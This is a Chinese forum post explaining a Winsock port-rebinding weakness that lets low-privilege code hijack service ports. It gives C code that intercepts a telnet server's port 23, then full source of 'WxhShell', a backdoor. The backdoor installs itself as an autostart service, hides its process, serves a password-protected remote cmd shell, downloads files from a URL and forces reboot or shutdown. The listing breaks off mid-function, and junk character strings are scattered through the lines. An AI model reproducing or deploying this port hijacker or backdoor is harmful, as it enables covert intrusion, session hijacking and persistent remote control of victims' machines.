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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: j9)WInYc:  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {a>a?fVU  
L`"PaIMz  
  saddr.sin_family = AF_INET; <PBrW#:'  
"zU}]|R  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1<Vc[p&  
Z0yy<9q]2  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?_Sf  
["FC   
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 53y,eLf  
\W^Mo>l  
  这意味着什么?意味着可以进行如下的攻击: <sXmk{  
w h4WII  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $L|YllD%  
Koh`|]N  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @8[3 ]<  
uc6;%=%+  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 x9fNIuAQ  
1.+w&Y5   
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  e;LJdd  
!'-K>.B  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 NZUQ R`5  
A0L&p(i  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 q2qbbQ6H  
K \?b6;ea  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 vj?v7  
^G5BD_  
  #include }lN@J,q  
  #include 5k&tRg  
  #include k_A.aYe  
  #include    1UR ;}  
  DWORD WINAPI ClientThread(LPVOID lpParam);   [3Qu @;"&  
  int main() ?NazfK  
  { Bq}p]R3X  
  WORD wVersionRequested; [" '0vQ  
  DWORD ret; M,0@@:  
  WSADATA wsaData; $@8$_g|Wz  
  BOOL val; Kv**(~FNnH  
  SOCKADDR_IN saddr; WU}?8\?U%  
  SOCKADDR_IN scaddr; \Qa6mt2h  
  int err; lYZ5FacqC  
  SOCKET s; CuE>=y- "I  
  SOCKET sc; .gmNE$d  
  int caddsize; J N5<=x5r  
  HANDLE mt; _ZgIm3p0A  
  DWORD tid;   7nh,j <~;2  
  wVersionRequested = MAKEWORD( 2, 2 ); ] i;xeo,  
  err = WSAStartup( wVersionRequested, &wsaData ); .(!> *ka|  
  if ( err != 0 ) { U p1&(  
  printf("error!WSAStartup failed!\n"); q%HT)^F9oO  
  return -1; &p\fdR4e  
  } {~=Edf  
  saddr.sin_family = AF_INET; )"j)9RQ}  
   fX)C8J^=G  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [K2\e N~g  
wKe$(>d"L  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 4H 4U  
  saddr.sin_port = htons(23); &"bcI7uGT  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) aL63=y  
  { MMs#Y1dH  
  printf("error!socket failed!\n"); fV[(s7vW  
  return -1; @=KuoIV  
  } z6B(}(D  
  val = TRUE; jR/YG ru  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 v634{:'e  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) -7_`6U2"  
  { 2l43/aCq  
  printf("error!setsockopt failed!\n"); UL0%oJ#  
  return -1; >UTAk  
  } @^Tof5?F?  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; l#8SlRji  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 0Xmp)_vba  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 !2dA8b  
a}N m;5K  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) k(Z+(Y'{q~  
  { /|{Yot e  
  ret=GetLastError(); g(d9=xq@k  
  printf("error!bind failed!\n"); /rsr|`#  
  return -1; XW!a?aLNX  
  } WBS~e  
  listen(s,2); >YPC &@9   
  while(1) PZn[Yb:  
  { xpo<1Sr>S  
  caddsize = sizeof(scaddr); |%JJ S^)  
  //接受连接请求 >h3r\r\n3  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +dWx?$n  
  if(sc!=INVALID_SOCKET) K\5'pp1  
  { : `D[0  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); m&)5QX  
  if(mt==NULL) L(tA~Z"k  
  { _= RA-qZ"  
  printf("Thread Creat Failed!\n"); r&AX  
  break; =2HR+  
  } & [)1LRt_  
  } M{Ss?G4H  
  CloseHandle(mt); J8|F8dcz  
  } 2UYtFWB9o  
  closesocket(s); F,0 @z/8a  
  WSACleanup(); >sAZT:&gv  
  return 0; %-? :'F!1  
  }   (17%/80-J  
  DWORD WINAPI ClientThread(LPVOID lpParam) / d S!  
  { G{*m] 0Q  
  SOCKET ss = (SOCKET)lpParam; +hdD*}qauC  
  SOCKET sc;  |*079v  
  unsigned char buf[4096]; \VmqK&9   
  SOCKADDR_IN saddr; 8D[8(5  
  long num; Jd_w:H.  
  DWORD val; j-2`yR  
  DWORD ret; :O:Rfmr~  
  //如果是隐藏端口应用的话,可以在此处加一些判断 /s.O3x._'  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   4^1B'>I  
  saddr.sin_family = AF_INET; FY%v \`@1*  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); i3I'n*  
  saddr.sin_port = htons(23); XGE:ZVpW  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tqLn  A  
  { @NMFurm  
  printf("error!socket failed!\n"); p"4i(CWGS  
  return -1; k$</7 IuH  
  } fI"q/+  
  val = 100; sY__ak!>  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) uSSnr#i^j  
  { Pf s_s6  
  ret = GetLastError(); *0ZL@Kw  
  return -1; M/GQQG;  
  } k 8^!5n  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) nOxCni~ T  
  { aaq{9Y#  
  ret = GetLastError(); H!U\;ny  
  return -1; $ JI`&  
  } <VD^f  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?qr-t+  
  { XWvT(+J  
  printf("error!socket connect failed!\n"); c-z 2[a8  
  closesocket(sc); -L>\58`  
  closesocket(ss); WN9 <  
  return -1; %=x|.e@J  
  } UeB8|z  
  while(1) }5gAxR,  
  { z)Xf6&  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 usiv`.  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 qM F'&  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 '$u3i #. \  
  num = recv(ss,buf,4096,0); 1Sox@Ko  
  if(num>0) BCV<( @c  
  send(sc,buf,num,0); ,eq[X\B>  
  else if(num==0) +5Z0-N@  
  break; ;\7TQ9z  
  num = recv(sc,buf,4096,0); 6'y+Ev$9  
  if(num>0) }49X  N  
  send(ss,buf,num,0); 0wZ_;FN*-  
  else if(num==0) !xoN%5 !  
  break; dzDh V{  
  } I}/o`oc  
  closesocket(ss); grEmp9Q ?  
  closesocket(sc); NVx`'Il8 "  
  return 0 ; 8cn)ox|J[  
  } .+3= H@8h  
[\CQ_qs|  
Ms5m.lX  
========================================================== 6U;pYWht  
FUzIuz 6  
下边附上一个代码,,WXhSHELL &fA`Od6l"  
Lv@JfN"O  
========================================================== F/9]{H  
b_Ns Ch3@  
#include "stdafx.h" -jsNAQ  
8 [i#x|`g  
#include <stdio.h> vQ=W<>1   
#include <string.h> \a+F/I$hwa  
#include <windows.h> ]#]m_+} Z  
#include <winsock2.h> Saa# Mj`M  
#include <winsvc.h> \dj&4u3  
#include <urlmon.h> PT4Xr=z =  
Ggy_ Ctu  
#pragma comment (lib, "Ws2_32.lib") 3 #R~>c2  
#pragma comment (lib, "urlmon.lib") b Jt397  
!cnunLc`  
#define MAX_USER   100 // 最大客户端连接数 RWmQP%A}aw  
#define BUF_SOCK   200 // sock buffer 8[(eV.  
#define KEY_BUFF   255 // 输入 buffer E> Ukxi1  
 r(pp =  
#define REBOOT     0   // 重启 KL]K< A  
#define SHUTDOWN   1   // 关机 jLC,<V*  
k$kq|  
#define DEF_PORT   5000 // 监听端口 NGB%fJ  
%Qc#v$;+J  
#define REG_LEN     16   // 注册表键长度 .>>@q!!s!  
#define SVC_LEN     80   // NT服务名长度 `we2zT  
"m +Eu|{  
// 从dll定义API flTK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pc&/'zb  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vC~];!^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [7B:{sH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1\q(xka{  
c38RE,4U  
// wxhshell配置信息 }Q_IqI[7  
struct WSCFG { yrO'15TB  
  int ws_port;         // 监听端口 x!bFbi#!"  
  char ws_passstr[REG_LEN]; // 口令 ?KpHvf'  
  int ws_autoins;       // 安装标记, 1=yes 0=no A<^IG+Q,B7  
  char ws_regname[REG_LEN]; // 注册表键名 / 3:R{9S%  
  char ws_svcname[REG_LEN]; // 服务名 x<60=f[O2R  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 eKn&`\j6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %)*!(%\S*3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W"4E0!r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +<6L>ZAL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E&V"z^qs_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~PaD _W#xP  
pI7\]e  
}; e8gJ }8Fj  
@& #df  
// default Wxhshell configuration %lz\w{  
struct WSCFG wscfg={DEF_PORT, UK+;/Mtg  
    "xuhuanlingzhe", 1C+Y|p?KA  
    1, |J2_2a/"  
    "Wxhshell", a*hOT_;#  
    "Wxhshell", h8 >7si  
            "WxhShell Service", u7G@VZ Ux5  
    "Wrsky Windows CmdShell Service",  'vj45b  
    "Please Input Your Password: ", L?&+*|VxI  
  1, %KNnss}  
  "http://www.wrsky.com/wxhshell.exe", kH d_q.  
  "Wxhshell.exe" O_0|Q@  
    }; Nkn0G _  
4q[C' J  
// 消息定义模块 E+V^5Z:u  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rklr^ e  
char *msg_ws_prompt="\n\r? for help\n\r#>"; uS bOGhP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9 Am&G  
char *msg_ws_ext="\n\rExit."; 4IG=mG)  
char *msg_ws_end="\n\rQuit."; >x@]w sj  
char *msg_ws_boot="\n\rReboot..."; xc Wr hg  
char *msg_ws_poff="\n\rShutdown..."; '#$% f  
char *msg_ws_down="\n\rSave to "; *3WK:0  
r&)/3^S '  
char *msg_ws_err="\n\rErr!"; <`5>;Xn=  
char *msg_ws_ok="\n\rOK!"; K"VphKvR  
G/_#zIN`8M  
char ExeFile[MAX_PATH]; s4P8PDhz  
int nUser = 0; n l Xg8t^G  
HANDLE handles[MAX_USER]; & S_gNa  
int OsIsNt; ,kuJWaUC@  
.Br2^F  
SERVICE_STATUS       serviceStatus; +l@H[r;$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; B)/X:[  
kW\=Z 1\#  
// 函数声明 2H;&E1:  
int Install(void); sp0& " &5  
int Uninstall(void); G& cm5  
int DownloadFile(char *sURL, SOCKET wsh); nH}api^0A  
int Boot(int flag); b>;>*'e  
void HideProc(void); QE84l  
int GetOsVer(void); (G<"nnjK  
int Wxhshell(SOCKET wsl); rmpJG |(  
void TalkWithClient(void *cs); \+fP&  
int CmdShell(SOCKET sock); VYTdK"%  
int StartFromService(void); <F+S}!q  
int StartWxhshell(LPSTR lpCmdLine); mfFC@~|g  
#9}KC 9f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); znhe]&Fw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ma@ws,H  
&}32X-~y  
// 数据结构和表定义 mm/U9hbp%  
SERVICE_TABLE_ENTRY DispatchTable[] = 1QtT*{zm$F  
{ >Mj :'  
{wscfg.ws_svcname, NTServiceMain}, 1c&/&6 #5  
{NULL, NULL} Jx1oK  
}; 6[wej$ u  
(*7edc"F  
// 自我安装 P~redX=t@  
int Install(void) kU_bLC?>D  
{ \2-!%i,  
  char svExeFile[MAX_PATH]; kLMg|48fdI  
  HKEY key; }cgEC-  
  strcpy(svExeFile,ExeFile); )52:@=h*l  
ySP1WK  
// 如果是win9x系统,修改注册表设为自启动 uljd)kLy4O  
if(!OsIsNt) { Gv>,Ad ka  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { flIdL,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iHr{ VQ  
  RegCloseKey(key); :-.R*W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |!8[Vg^Wh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZJsc?*@  
  RegCloseKey(key); 4pV.R5:  
  return 0; tvP_LNMF  
    } f"xi7vJv!f  
  } jIK *psaV  
} YKf,vHau  
else { T({:Y. A;  
/u!I2DF  
// 如果是NT以上系统,安装为系统服务 ,d)!&y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vrm[sP  
if (schSCManager!=0) K+dkImkh  
{ AR`X2m '  
  SC_HANDLE schService = CreateService 7A8jnq7m/  
  ( eHF#ME  
  schSCManager, I8gGP'  
  wscfg.ws_svcname, eJilSFp1  
  wscfg.ws_svcdisp, 5g&.P\c{  
  SERVICE_ALL_ACCESS, PP/M-Jql)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , AnU,2[(  
  SERVICE_AUTO_START, gQ.yNe  
  SERVICE_ERROR_NORMAL, CY)/1 # J  
  svExeFile, If\u^c  
  NULL, qW6a|s0}  
  NULL, 9@./=5N~3  
  NULL, HC*=E.J  
  NULL, Kpz>si?CL  
  NULL ) I 4d_]&  
  ); N6cf`xye  
  if (schService!=0) z!)_'A  
  { SW UHHl  
  CloseServiceHandle(schService); ~;aSX1   
  CloseServiceHandle(schSCManager); '{\VO U  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m;WUp{'  
  strcat(svExeFile,wscfg.ws_svcname);  "@Bc eD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Xlw&hKS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); VxLq,$B76  
  RegCloseKey(key); (WR&Vt4Rh  
  return 0; ;i^p6b j  
    } v#a`*^ ^  
  } M<r' j $g  
  CloseServiceHandle(schSCManager); gZ%B9i:  
} ~KD x  
} _2q4Aaza  
*;Dd:D9  
return 1; \o?zL7  
} skR/Wf9DH  
iUi{)xa2  
// 自我卸载 I$\dT1m$  
int Uninstall(void) Ljq/f& c  
{ g[@Kd  
  HKEY key; 2JYp.CJv  
4wX{N   
if(!OsIsNt) { C<r7d [  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @z#;O2  
  RegDeleteValue(key,wscfg.ws_regname); @SDsd^N{2P  
  RegCloseKey(key); ElZ'/l*\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /v: g' #n  
  RegDeleteValue(key,wscfg.ws_regname); r7c(/P^$G  
  RegCloseKey(key); }+nC}A"BC  
  return 0; NOP~?p  
  } pB|L%#.cW  
} Ht5 %fcD  
} Qpndi$2H!  
else { j.uN`cU!  
-i V&-oP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }el. qZ  
if (schSCManager!=0) e7t).s)b{  
{ n }7DL8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^*`{W4e]  
  if (schService!=0) R<Ojaj=V  
  { sT[)r]`T  
  if(DeleteService(schService)!=0) { l:a+o gm3  
  CloseServiceHandle(schService); miCt)Qd  
  CloseServiceHandle(schSCManager); k sJz44  
  return 0; ?O8NyCeb7  
  } lJi'%bOi  
  CloseServiceHandle(schService); 4-eb&  
  } -9~kp'_a  
  CloseServiceHandle(schSCManager); L5(rP\B  
} ' jZ2^  
} v!E0/ gD  
E8T4Nh_  
return 1; @b=tjQO_  
} 5`{+y]  
(?J6vK}S  
// 从指定url下载文件 Cc0`Ylx~(  
int DownloadFile(char *sURL, SOCKET wsh) x1Q}B   
{ }Y(Q7l  
  HRESULT hr; N6c']!aM@  
char seps[]= "/"; Nv,[E+a2  
char *token; $lOx 6rL  
char *file; f-y4V}  
char myURL[MAX_PATH]; 5@tpJ8E8$  
char myFILE[MAX_PATH]; tV9W4`Z2q  
7ks09Cy  
strcpy(myURL,sURL); Gnj;=f  
  token=strtok(myURL,seps); (zWzF_v  
  while(token!=NULL) '&W`x5`t  
  { <]b}R;9v  
    file=token; j?jEWreq]~  
  token=strtok(NULL,seps); ?g}n$%*5y!  
  } D7X-|`kH  
fPiq  
GetCurrentDirectory(MAX_PATH,myFILE); _{8f^@I"+  
strcat(myFILE, "\\"); sRE$*^i  
strcat(myFILE, file); Un]`Gd]:  
  send(wsh,myFILE,strlen(myFILE),0); ]cc4+}L~  
send(wsh,"...",3,0); |b;}' *  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q nDymVF  
  if(hr==S_OK) q =b.!AZy  
return 0; /_rQ>PgSZW  
else (s %T1 8  
return 1; i92{N$*x  
&jl'1mZ  
} :@wO' o  
iH9g5G`O  
// 系统电源模块 $ N5VoK  
int Boot(int flag) k)'hNk"x  
{ iv?'&IUfK  
  HANDLE hToken; i 6kW"5t  
  TOKEN_PRIVILEGES tkp; Y)N(uv6  
yrdJX  
  if(OsIsNt) { +o?.<[>!GR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h.%VWsAO7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @\i6m]\X  
    tkp.PrivilegeCount = 1; RI:x`do  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6]\F_Z41  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nR6~oB{-  
if(flag==REBOOT) { .i"v([eQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) % rdW:  
  return 0;  ^OI  
} -fj;9('YJ  
else { CJJ 1aM  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) c#OZ=`  
  return 0; jHT4I>\  
} .hg<\-:_  
  } H #J"'  
  else { :u'X ~ID[  
if(flag==REBOOT) { DGC -`z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Eg3rbqM- 8  
  return 0; YZ7rs] A  
} 5u:+hB  
else { r4gkSwy  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5dMIv<#T`  
  return 0; C N"V w  
} Vt5%A}.VQ  
} j+*VP  
q5BJsw  
return 1; TIW6v4  
} !Wvzum@5D  
=gGK243  
// win9x进程隐藏模块 (u]ft]z,-B  
void HideProc(void) * <x]gV  
{ u z ` H  
enF.}fo]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z"lL=0rY/  
  if ( hKernel != NULL ) e[i&2mM  
  { T?) U|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N Rcg~Nu  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6vX+- f  
    FreeLibrary(hKernel); zf$OC}|\w  
  } b]g}h  
%pc0a^iB  
return; F@ZG| &  
} 69cOdIt^D  
t}cj8DC!  
// 获取操作系统版本 BC(f1  
int GetOsVer(void) ]gI XG`  
{ 7Hf6$2Wh  
  OSVERSIONINFO winfo; Sj+ gf~~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); yZb@  
  GetVersionEx(&winfo); bC$n+G>6k  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) XZV)4=5iSO  
  return 1; /_*:  
  else q .tVNKy%  
  return 0; w6Dysg:  
} [^"e~  
L0UAS'hf  
// 客户端句柄模块 -njxc{b  
int Wxhshell(SOCKET wsl) vO]gj/SaT  
{ R{#-IH="  
  SOCKET wsh; oFoG+H"&7\  
  struct sockaddr_in client; ~NpnRIt  
  DWORD myID; n j; KnZ  
n >xhT r<  
  while(nUser<MAX_USER) V3yO_Iqa  
{ D@[$?^H  
  int nSize=sizeof(client); JGn@)!$+/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >6 :slNM#  
  if(wsh==INVALID_SOCKET) return 1; 9`{Mq9J  
WN>.+qM~8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (Uv{%q.n6  
if(handles[nUser]==0) 0w< iz;30  
  closesocket(wsh); tOnaD]J  
else :lgIu .  
  nUser++; k/H<UW?Z]  
  } 1ikkm7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;r49H<z   
!h?N)9e  
  return 0; bp_3ETK]P  
} $ n  n4  
Vn];vN  
// 关闭 socket VY=~cVkzS  
void CloseIt(SOCKET wsh) GY@Np^>[a  
{ 9rn!U2  
closesocket(wsh); @F=ZGmq  
nUser--; 8}xU]N#EV  
ExitThread(0); EIEwrC  
} {4}Sl^kn*  
V *S|Qy!p  
// 客户端请求句柄 @a%,0Wn  
void TalkWithClient(void *cs) [DGq{(O  
{ A"vI6ud>  
- CM;sXq  
  SOCKET wsh=(SOCKET)cs; WVy"MD  
  char pwd[SVC_LEN]; N%y%)MI8  
  char cmd[KEY_BUFF]; x~Se-#$  
char chr[1]; 4z#CkT  
int i,j; pm5Yc@D  
qbqJ1^!6R  
  while (nUser < MAX_USER) { 8 Sl[&  
ai#EFo+#  
if(wscfg.ws_passstr) { /RX7AXXB  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (C6Y*Zm\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xS,):R  
  //ZeroMemory(pwd,KEY_BUFF); d@C ;rzR  
      i=0; ZJy D/9y  
  while(i<SVC_LEN) { _qE2r^o"B  
<u->hT  
  // 设置超时 )I1LBvfQ  
  fd_set FdRead; Y]Su<t gX?  
  struct timeval TimeOut; 168U-<  
  FD_ZERO(&FdRead); F b`V.  
  FD_SET(wsh,&FdRead); oJ6 d:  
  TimeOut.tv_sec=8; J)'6 z  
  TimeOut.tv_usec=0; :JW~$4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O~'1)k>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); HFo}r~  
[USXNe/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7:bqh$3!s  
  pwd=chr[0]; (9Hc`gd)p  
  if(chr[0]==0xd || chr[0]==0xa) { @3VL _g:  
  pwd=0; =%2 E|/  
  break; H{yPi7 P  
  } o<V-gS  
  i++; $PrzJc  
    } 2"BlV *\lS  
yv$MQ~]  
  // 如果是非法用户,关闭 socket Hsp|<;Yg  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Qf=%%5+?8  
} Wz=ZhE9g  
I]I5!\\&[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lFc3 5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?W.Y x7c  
xl# j_d,  
while(1) { <U1uuOt  
_r^&.'q  
  ZeroMemory(cmd,KEY_BUFF); U$Ew,v<  
>D-$M_  
      // 自动支持客户端 telnet标准   Kl+*Sp!  
  j=0; HF47Lc*c  
  while(j<KEY_BUFF) { 3P #1fI(c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZQ~?  
  cmd[j]=chr[0]; $1Xg[>1g5  
  if(chr[0]==0xa || chr[0]==0xd) { ]^ RgzK  
  cmd[j]=0; Nk=M  
  break; d^lA52X6P  
  } 9^c_^-8n<}  
  j++; ZO}V}3  
    } V!ajD!00  
(MxLw:AV  
  // 下载文件 9wtl|s%A %  
  if(strstr(cmd,"http://")) { \>YXPMIk  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ke&c<3m  
  if(DownloadFile(cmd,wsh)) "QiUuD=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); gO$!_!@LM  
  else hp>me*vzr  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a,}{f]  
  } r@ejU'uz  
  else { uQ8]j.0  
:+-s7'!4  
    switch(cmd[0]) { mtTJm4  
  jkD5Z`D  
  // 帮助 +A:}5{  
  case '?': { ZnmBb_eX  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r*tGT_/6  
    break; 2t(E+^~  
  } > }:6m  
  // 安装 D ORFK  
  case 'i': { .6/[X` *  
    if(Install()) /ox}l<ha  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '4O1Y0K  
    else 3}N:oJI$z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <Ft.{aNq$c  
    break; ,l@hhaLm?  
    } ^8fO3<Jg  
  // 卸载 T.K$a\/{,  
  case 'r': { ,u\M7,a^  
    if(Uninstall()) @Z|cUHo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kB  :")$  
    else fE^rTUtn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ){wE)NN  
    break; /8GVu7  
    } >O?EFd>E  
  // 显示 wxhshell 所在路径 koAc-o  
  case 'p': { S B'.   
    char svExeFile[MAX_PATH]; 2QBq  
    strcpy(svExeFile,"\n\r"); X1" `0r3  
      strcat(svExeFile,ExeFile); x$A5Ved  
        send(wsh,svExeFile,strlen(svExeFile),0); 8E$KR:/:4  
    break; A4SM@ry  
    } y#T":jpR  
  // 重启 !5{t1 oJ  
  case 'b': { z{tyB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .c BJA&/  
    if(Boot(REBOOT)) pX2 Ki^)]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a{H~>d< ?  
    else { o3uv"# C  
    closesocket(wsh); 2I#fwsb  
    ExitThread(0); mNuv>GAb  
    } mD0pqK  
    break; KU$.m3A>  
    } 8-+IcyUza  
  // 关机 -5E%f|U  
  case 'd': { &&>OhH`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~j8x"  
    if(Boot(SHUTDOWN)) ph3[}><6  
